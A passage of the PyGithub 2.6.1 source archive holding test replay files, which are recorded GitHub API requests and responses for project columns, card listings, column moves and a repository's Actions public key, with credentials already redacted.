pygithub-2.6.1/tests/ReplayData/ProjectColumn.testGetCards.txt0000644000175100001660000001724514756101563024107 0ustar00runnerdockerhttps GET api.github.com None /projects/columns/8700460/cards?per_page=1 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:17:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1586891696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c3932f4fc4f085b929f97a755d4bc619"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8E8:1971C:1EB93F0:2444EAC:5E95FE31')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"}] https GET api.github.com None /projects/columns/8700460/cards {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:17:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1586891695'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a4b6a7e2eacfdbb711423183c140c383"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8EA:3F6D7:2582A1B:2C3B9FA:5E95FE32')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281526","project_url":"https://api.github.com/projects/4294766","id":36281526,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MjY=","note":"Note2","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:37Z","updated_at":"2020-04-14T16:00:37Z","column_url":"https://api.github.com/projects/columns/8700460"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testGetNotArchivedCards.txt0000644000175100001660000001742514756101563026236 0ustar00runnerdockerhttps GET api.github.com None /projects/columns/8700460/cards?archived_state=not_archived&per_page=1 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:16:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1586891696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c3932f4fc4f085b929f97a755d4bc619"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8DA:428A3:2603E5A:2CCBA73:5E95FDFB')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"}] https GET api.github.com None /projects/columns/8700460/cards?archived_state=not_archived {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:16:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1586891695'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a4b6a7e2eacfdbb711423183c140c383"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8DC:19719:15A2CB9:1970B81:5E95FDFB')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281526","project_url":"https://api.github.com/projects/4294766","id":36281526,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MjY=","note":"Note2","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:37Z","updated_at":"2020-04-14T16:00:37Z","column_url":"https://api.github.com/projects/columns/8700460"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testGetProjectColumn.txt0000644000175100001660000000402714756101563025631 0ustar00runnerdockerhttps GET api.github.com None /projects/columns/8700460 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 15:54:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1586881947'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e72b42a5cf4979d0048de03ef3320a58"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8278:1971C:1B5FB42:2036E85:5E95DCC1')] {"url":"https://api.github.com/projects/columns/8700460","project_url":"https://api.github.com/projects/4294766","cards_url":"https://api.github.com/projects/columns/8700460/cards","id":8700460,"node_id":"MDEzOlByb2plY3RDb2x1bW44NzAwNDYw","name":"c1","created_at":"2020-04-13T20:29:53Z","updated_at":"2020-04-13T20:29:53Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testMoveAfter.txt0000644000175100001660000000336414756101563024300 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/8748065/moves {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"position": "after:8700460"} 201 [('Date', 'Thu, 16 Apr 2020 05:51:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4948'), ('X-RateLimit-Reset', '1587018428'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5cdeb7b7e65678a2f212994c02e98f49"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D5A0:29EAD:D1CCE7:F3F095:5E97F253')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testMoveFirst.txt0000644000175100001660000000335514756101563024326 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/8748065/moves {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"position": "first"} 201 [('Date', 'Thu, 16 Apr 2020 05:50:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4954'), ('X-RateLimit-Reset', '1587018429'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5cdeb7b7e65678a2f212994c02e98f49"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D58C:E2C8:12DBE29:15FC0D8:5E97F240')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testMoveLast.txt0000644000175100001660000000335514756101563024142 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/8748065/moves {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"position": "last"} 201 [('Date', 'Thu, 16 Apr 2020 05:51:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4951'), ('X-RateLimit-Reset', '1587018429'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5cdeb7b7e65678a2f212994c02e98f49"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D59A:18639:129F5E7:15BB83D:5E97F249')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PublicKey.testAttributes.txt0000644000175100001660000000651614756101563023643 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc8367028bd9046f0b52929ea8657756"'), ('date', 'Thu, 10 May 2012 19:03:17 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","owned_private_repos":5,"public_repos":10,"html_url":"https://github.com/jacquev6","blog":"http://vincent-jacques.net","collaborators":0,"following":24,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"followers":13,"url":"https://api.github.com/users/jacquev6","private_gists":5,"hireable":false,"login":"jacquev6","email":"vincent@vincent-jacques.net","disk_usage":16676,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"created_at":"2010-07-09T06:10:06Z","name":"Vincent Jacques","bio":"","id":327146,"total_private_repos":5,"location":"Paris, France"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b297a1eb78f994e828d8b625dae93910"'), ('date', 'Thu, 10 May 2012 19:03:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"homepage":"http://vincent-jacques.net/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_downloads":true,"watchers":13,"permissions":{"admin":true,"pull":true,"push":true},"mirror_url":null,"git_url":"git://github.com/jacquev6/PyGithub.git","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"language":"Python","size":196,"description":"Python library implementing the full Github API v3","private":false,"created_at":"2012-02-25T12:53:47Z","open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"name":"PyGithub","pushed_at":"2012-05-10T18:49:21Z","id":3544490,"ssh_url":"git@github.com:jacquev6/PyGithub.git","updated_at":"2012-05-10T18:49:21Z"} https GET api.github.com None /repos/jacquev6/PyGithub/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": "568250167242549743"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PublicKey.testAttributes_with_int_key_id.txt0000644000175100001660000000651414756101563027072 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc8367028bd9046f0b52929ea8657756"'), ('date', 'Thu, 10 May 2012 19:03:17 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","owned_private_repos":5,"public_repos":10,"html_url":"https://github.com/jacquev6","blog":"http://vincent-jacques.net","collaborators":0,"following":24,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"followers":13,"url":"https://api.github.com/users/jacquev6","private_gists":5,"hireable":false,"login":"jacquev6","email":"vincent@vincent-jacques.net","disk_usage":16676,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"created_at":"2010-07-09T06:10:06Z","name":"Vincent Jacques","bio":"","id":327146,"total_private_repos":5,"location":"Paris, France"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b297a1eb78f994e828d8b625dae93910"'), ('date', 'Thu, 10 May 2012 19:03:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"homepage":"http://vincent-jacques.net/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_downloads":true,"watchers":13,"permissions":{"admin":true,"pull":true,"push":true},"mirror_url":null,"git_url":"git://github.com/jacquev6/PyGithub.git","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"language":"Python","size":196,"description":"Python library implementing the full Github API 